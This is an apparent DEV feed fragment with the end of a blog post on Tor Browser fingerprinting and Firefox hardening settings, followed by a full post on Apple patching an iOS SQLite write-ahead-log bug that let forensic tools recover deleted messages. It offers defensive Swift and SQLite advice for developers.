&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;network.http.sendRefererHeader&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// No referrer headers&lt;/span&gt;
&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;privacy.firstparty.isolate&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// First-party isolation&lt;/span&gt;

&lt;span class="c1"&gt;// HSTS-specific mitigation&lt;/span&gt;
&lt;span class="nf"&gt;user_pref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;network.stricttransportsecurity.preloadlist&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: &lt;code&gt;privacy.resistFingerprinting&lt;/code&gt; (RFP) is Firefox's built-in fingerprinting resistance mode. It's good. It's not perfect. The research we're discussing found vectors that &lt;strong&gt;survive even with RFP enabled&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  What the Tor Project Is Doing About It
&lt;/h2&gt;

&lt;p&gt;The Tor Project has been notified of these findings (responsible disclosure was followed). Their response has involved:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Auditing the HSTS partitioning logic&lt;/strong&gt; to ensure state is cleared on New Identity&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Investigating GPU-level noise normalization&lt;/strong&gt; — making the noise pattern itself non-unique&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Considering a Chromium-based Tor Browser&lt;/strong&gt; (a long-running internal debate)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tightening the content security policy&lt;/strong&gt; defaults for Tor Browser's security levels&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The fundamental problem, however, is that &lt;strong&gt;Firefox is a complex, constantly evolving codebase&lt;/strong&gt;. New fingerprinting surfaces emerge with every release. The Tor Browser team is essentially playing whack-a-mole against a moving target.&lt;/p&gt;




&lt;h2&gt;
  
  
  What You Should Do Right Now
&lt;/h2&gt;

&lt;h3&gt;
  
  
  If You're a Tor User
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Set Tor Browser to "Safest" security level&lt;/strong&gt; — this disables JavaScript entirely, eliminating the majority of active fingerprinting attacks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never maximize the Tor Browser window&lt;/strong&gt; — window size is a fingerprint&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't install extensions&lt;/strong&gt; — each extension is a unique identifier&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat each Tor session as potentially linkable&lt;/strong&gt; if you've visited malicious sites&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  If You're a Developer Building Privacy Tools
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Threat-model explicitly&lt;/strong&gt; — don't promise anonymity you can't technically deliver&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit every third-party resource&lt;/strong&gt; your app loads — each one is a potential tracking vector&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test with browser fingerprinting detection tools&lt;/strong&gt; like coveryourtracks.eff.org&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read the Tor Browser design document&lt;/strong&gt; — it's the best public resource on browser-level anonymity engineering&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  If You're Building a Secure Platform
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Server-side: don't set HSTS on sensitive/anonymous-access endpoints
# Bad practice for anonymity-sensitive endpoints:
&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;max-age=31536000; includeSubDomains&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="c1"&gt;# Better for anonymous access endpoints — use short max-age, no includeSubDomains:
&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;max-age=0&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="c1"&gt;# Or serve anonymous-access content from a separate domain with no HSTS history
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Bigger Picture
&lt;/h2&gt;

&lt;p&gt;This research is a reminder that &lt;strong&gt;privacy is a systems problem, not a feature&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;You can't make a user anonymous by routing their traffic through Tor if the browser layer is leaking identifiers. You can't make a platform safe for whistleblowers if the underlying technology has design assumptions that conflict with anonymity.&lt;/p&gt;

&lt;p&gt;The found identifier that links Tor identities isn't a bug in the traditional sense — it's the emergent result of complex systems interacting in ways their designers didn't fully anticipate. Firefox was built to be a great browser. Tor was built to anonymize network traffic. Combining them creates a system with properties neither team fully controls.&lt;/p&gt;

&lt;p&gt;For developers, the lesson is clear: &lt;strong&gt;understand your stack's anonymity guarantees at every layer&lt;/strong&gt;, not just the layer you built.&lt;/p&gt;

&lt;p&gt;The good news? This research is public. The Tor Project knows about it. And the open-source nature of both Firefox and Tor Browser means these vulnerabilities can — and will — be fixed.&lt;/p&gt;

&lt;p&gt;But until they are, assume that your Tor identities are more linkable than you think.&lt;/p&gt;




&lt;h2&gt;
  
  
  Resources for Further Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://2019.www.torproject.org/projects/torbrowser/design/" rel="noopener noreferrer"&gt;Tor Browser Design and Implementation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.mozilla.org/Security/Fingerprinting" rel="noopener noreferrer"&gt;Firefox privacy.resistFingerprinting documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://coveryourtracks.eff.org/" rel="noopener noreferrer"&gt;EFF Cover Your Tracks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://crypto.stanford.edu/~dabo/pubs/abstracts/samesite.html" rel="noopener noreferrer"&gt;HSTS Supercookie Research (Stanford Web Policy)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/arkenfox/user.js" rel="noopener noreferrer"&gt;Arkenfox user.js — hardened Firefox config&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;If you found this breakdown useful, follow me here on DEV for more deep-dives into browser security, privacy engineering, and the gap between what tools promise and what they technically deliver. Drop your questions in the comments — especially if you're building something where user privacy and security is a core requirement.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;💬 What's your threat model when building for anonymous users? Let's talk in the comments.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>privacy</category>
      <category>tor</category>
      <category>firefox</category>
    </item>
    <item>
      <title>Apple Fixes the iOS Bug That Cops Used to Extract Deleted Chat Messages From iPhones</title>
      <dc:creator>佐藤玲</dc:creator>
      <pubDate>Thu, 23 Apr 2026 16:02:23 +0000</pubDate>
      <link>https://dev.to/_d916d77be80d376e49d8e/apple-fixes-the-ios-bug-that-cops-used-to-extract-deleted-chat-messages-from-iphones-5h4n</link>
      <guid>https://dev.to/_d916d77be80d376e49d8e/apple-fixes-the-ios-bug-that-cops-used-to-extract-deleted-chat-messages-from-iphones-5h4n</guid>
      <description>&lt;h1&gt;
  
  
  Apple Fixes the iOS Bug That Cops Used to Extract Deleted Chat Messages From iPhones
&lt;/h1&gt;

&lt;p&gt;For years, a quiet vulnerability sat buried inside iOS — one that most users never knew existed, but that law enforcement agencies around the world quietly relied upon. Apple has now patched the bug, closing a forensic backdoor that allowed investigators (and, theoretically, any attacker with physical device access) to recover deleted iMessage conversations and chat data that users believed was gone forever.&lt;/p&gt;

&lt;p&gt;If you build apps, handle user data, or care at all about mobile security architecture, this story has layers worth unpacking.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Was the Bug, Exactly?
&lt;/h2&gt;

&lt;p&gt;The vulnerability centered on how iOS handled &lt;strong&gt;SQLite database write-ahead logging (WAL)&lt;/strong&gt; for iMessage and other chat apps that rely on Apple's native data persistence stack.&lt;/p&gt;

&lt;p&gt;When a user deletes a message in iMessage, iOS marks the record for deletion in the SQLite database. Under normal circumstances, the next database checkpoint operation would overwrite those records. The bug: in certain conditions, iOS failed to properly execute that checkpoint, leaving recoverable data in the &lt;strong&gt;WAL file&lt;/strong&gt; — a temporary transaction log that SQLite uses to stage writes before committing them to the main database file.&lt;/p&gt;

&lt;p&gt;Digital forensics tools used by law enforcement — including Cellebrite UFED and similar physical extraction platforms — were specifically designed to extract and parse these residual WAL files, giving investigators access to messages the user had intentionally deleted.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Quick Primer on SQLite WAL Mode
&lt;/h3&gt;

&lt;p&gt;For those unfamiliar, here's how WAL mode works under the hood:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Enable WAL mode on a SQLite database&lt;/span&gt;
&lt;span class="n"&gt;PRAGMA&lt;/span&gt; &lt;span class="n"&gt;journal_mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;WAL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- When you DELETE a record...&lt;/span&gt;
&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;rowid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- The deletion is written to the WAL file first&lt;/span&gt;
&lt;span class="c1"&gt;-- It is NOT immediately removed from the main database&lt;/span&gt;
&lt;span class="c1"&gt;-- A CHECKPOINT is required to sync WAL changes to the main .db file&lt;/span&gt;
&lt;span class="n"&gt;PRAGMA&lt;/span&gt; &lt;span class="n"&gt;wal_checkpoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;TRUNCATE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In normal operation, SQLite checkpoints automatically. But iOS's implementation introduced a race condition and edge cases where checkpointing was skipped or deferred — especially after an ungraceful shutdown, a crash, or when storage I/O was under pressure.&lt;/p&gt;

&lt;p&gt;The result: a ghost copy of "deleted" records lingered in &lt;code&gt;-wal&lt;/code&gt; files on-disk, completely outside the user's control.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Cops Actually Used This
&lt;/h2&gt;

&lt;p&gt;Law enforcement agencies that obtained physical access to a locked or unlocked iPhone could use forensic extraction tools to pull a full file system image. Inside that image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/private/var/mobile/Library/SMS/sms.db        ← Main iMessage database
/private/var/mobile/Library/SMS/sms.db-wal    ← Write-ahead log (the problem)
/private/var/mobile/Library/SMS/sms.db-shm    ← Shared memory index
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By parsing &lt;code&gt;sms.db-wal&lt;/code&gt; independently, forensic analysts could reconstruct deleted message rows — including message content, timestamps, sender/receiver metadata, and in some cases, attachment references.&lt;/p&gt;

&lt;p&gt;This wasn't a theoretical attack. Court documents across multiple jurisdictions cite iMessage extraction as a source of evidence, sometimes explicitly referencing data that defendants had deleted.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Apple's Fix Actually Does
&lt;/h2&gt;

&lt;p&gt;Apple's patch — rolled out in a recent iOS point release — addresses the bug at the persistence layer by:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Forcing synchronous WAL checkpoints&lt;/strong&gt; after message deletion events, ensuring the WAL file is flushed and truncated promptly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encrypting WAL files&lt;/strong&gt; with per-session keys that are discarded after a successful checkpoint, making residual data cryptographically unreadable even if the file persists temporarily on disk.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tightening the lifecycle management&lt;/strong&gt; of SQLite connections in the Messages framework so that database handles are closed cleanly, triggering automatic checkpoint behavior.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is a meaningful defense-in-depth improvement — not just a band-aid.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Means for Developers
&lt;/h2&gt;

&lt;p&gt;If you're building iOS apps that store sensitive user data, this bug is a case study in how &lt;strong&gt;storage-layer assumptions can silently undermine application-level security&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lesson 1: Never Assume Delete Means Delete
&lt;/h3&gt;

&lt;p&gt;At the SQLite level, deletion is logical, not physical, until a vacuum or checkpoint occurs. If your app stores sensitive data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Don't just DELETE and assume the data is gone&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;deleteQuery&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"DELETE FROM sensitive_data WHERE id = ?"&lt;/span&gt;

&lt;span class="c1"&gt;// Also force a WAL checkpoint&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;checkpointQuery&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"PRAGMA wal_checkpoint(TRUNCATE);"&lt;/span&gt;

&lt;span class="c1"&gt;// And consider running VACUUM for full physical removal&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;vacuumQuery&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"VACUUM;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: &lt;code&gt;VACUUM&lt;/code&gt; rebuilds the entire database file and can be expensive — use it judiciously, perhaps on a background thread after bulk deletions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lesson 2: Encrypt Sensitive Columns, Not Just the Database File
&lt;/h3&gt;

&lt;p&gt;Relying solely on full-disk encryption (which is what iOS Data Protection provides) doesn't help when the device is in an &lt;strong&gt;After First Unlock (AFU)&lt;/strong&gt; state — which covers the vast majority of forensic extractions since most people don't power off their phones.&lt;/p&gt;

&lt;p&gt;For truly sensitive data, consider column-level encryption:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;import&lt;/span&gt; &lt;span class="kt"&gt;CryptoKit&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;encryptMessageContent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="nv"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;SymmetricKey&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throws&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Data&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;utf8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;sealedBox&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="kt"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;GCM&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;seal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;using&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;sealedBox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;combined&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;decryptMessageContent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="nv"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;SymmetricKey&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throws&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;sealedBox&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="kt"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;GCM&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;SealedBox&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;combined&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;decryptedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="kt"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;GCM&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sealedBox&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;using&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;decryptedData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;encoding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;utf8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even if WAL files are extracted, encrypted column values are useless without the key — and if you tie the key to Secure Enclave-backed credentials, it never leaves the device in extractable form.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lesson 3: Use iOS Data Protection Classes Correctly
&lt;/h3&gt;

&lt;p&gt;Apple provides tiered data protection that controls when files are accessible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="c1"&gt;// When creating your SQLite database file, set the protection class&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;fileManager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;FileManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;dbURL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getDocumentsDirectory&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendingPathComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"app.db"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="n"&gt;fileManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;protectionKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;FileProtectionType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;completeUnlessOpen&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="nv"&gt;ofItemAtPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;dbURL&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// CompleteUnlessOpen means the file is only accessible when the device&lt;/span&gt;
&lt;span class="c1"&gt;// is unlocked OR the file is already open&lt;/span&gt;
&lt;span class="c1"&gt;// Use .complete for maximum protection (file locked when screen locks)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the highest sensitivity data, &lt;code&gt;FileProtectionType.complete&lt;/code&gt; ensures the encryption key is discarded the moment the screen locks — making cold extraction significantly harder.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Broader Privacy and Civil Liberties Angle
&lt;/h2&gt;

&lt;p&gt;It would be incomplete to discuss this purely as a technical bug. The existence and use of this vulnerability raises real questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Should Apple have fixed this sooner?&lt;/strong&gt; The WAL behavior has been documented in forensic literature for years. Whether Apple's delay was negligence, deliberate, or the result of competing engineering priorities is unclear.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Does fixing it obstruct legitimate law enforcement?&lt;/strong&gt; This is the perennial tension in device security. Apple has consistently maintained that it does not build intentional backdoors — but unintentional ones that go unpatched for extended periods occupy an uncomfortable gray zone.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What about third-party apps?&lt;/strong&gt; Apps like WhatsApp, Signal, and Telegram that implement their own SQLite-backed storage may have the same WAL exposure. Signal, notably, already implements its own encrypted database layer (Signal Protocol SQLCipher) that addresses this class of attack. Other apps may not.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As a developer, these aren't abstract policy questions — they're architecture decisions you make when you choose how to store user data.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Check if Your App Is Vulnerable
&lt;/h2&gt;

&lt;p&gt;If you're using Core Data or direct SQLite in your iOS app, run this quick audit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On a simulator or jailbroken test device, check if WAL files persist after deletion&lt;/span&gt;
&lt;span class="c"&gt;# Look for .db-wal files in your app's container&lt;/span&gt;
find ~/Library/Developer/CoreSimulator &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.db-wal"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# If you find them, open the WAL file directly with sqlite3&lt;/span&gt;
sqlite3 path/to/your/app.db
.mode column
.headers on
PRAGMA journal_mode&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nt"&gt;--&lt;/span&gt; If output is &lt;span class="s1"&gt;'wal'&lt;/span&gt;, you&lt;span class="s1"&gt;'re in WAL mode
PRAGMA wal_checkpoint(FULL);
-- Check if checkpoint succeeds and WAL size drops to 0
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also audit your app for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Are you closing SQLite connections explicitly?&lt;/li&gt;
&lt;li&gt;[ ] Are you handling app backgrounding/termination with proper DB cleanup?&lt;/li&gt;
&lt;li&gt;[ ] Do you store sensitive plaintext in any database column?&lt;/li&gt;
&lt;li&gt;[ ] Are your database files using the highest appropriate Data Protection class?&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Update Your Devices — Now
&lt;/h2&gt;

&lt;p&gt;For end users reading this: update to the latest iOS version. Apple fixes security vulnerabilities in point releases, and this one matters. If you're on an older device that no longer receives updates, consider what data you store in iMessage and whether alternatives with stronger security models (Signal, for instance) are appropriate for sensitive communications.&lt;/p&gt;

&lt;p&gt;For developers: audit your data persistence layer against the checklist above. The fact that Apple fixes these issues doesn't mean your app inherits the protection — if you're rolling your own SQLite stack, you need to implement these safeguards yourself.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;The cops-used-to-extract-deleted-messages story is attention-grabbing, but the underlying technical reality is what should concern every developer building privacy-sensitive apps: &lt;strong&gt;storage primitives don't give you privacy guarantees by default&lt;/strong&gt;. WAL files, undo logs, temp files, and OS-level caches all create windows where "deleted" data isn't actually gone.&lt;/p&gt;

&lt;p&gt;Apple's fix is a step forward. But the lesson for the dev community is to build as if no OS-level fix is coming — encrypt sensitive data, force proper cleanup, and never trust that a &lt;code&gt;DELETE&lt;/code&gt; statement is the end of the story.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you found this breakdown useful, follow me here on DEV for more deep-dives into mobile security, iOS internals, and privacy engineering. Drop your questions or war stories in the comments — I read everything.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;→ Want this kind of analysis in your inbox before it hits social? Subscribe to the newsletter linked in my profile.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ios</category>
      <category>privacy</category>
      <category>apple</category>
    </item>
    <item>
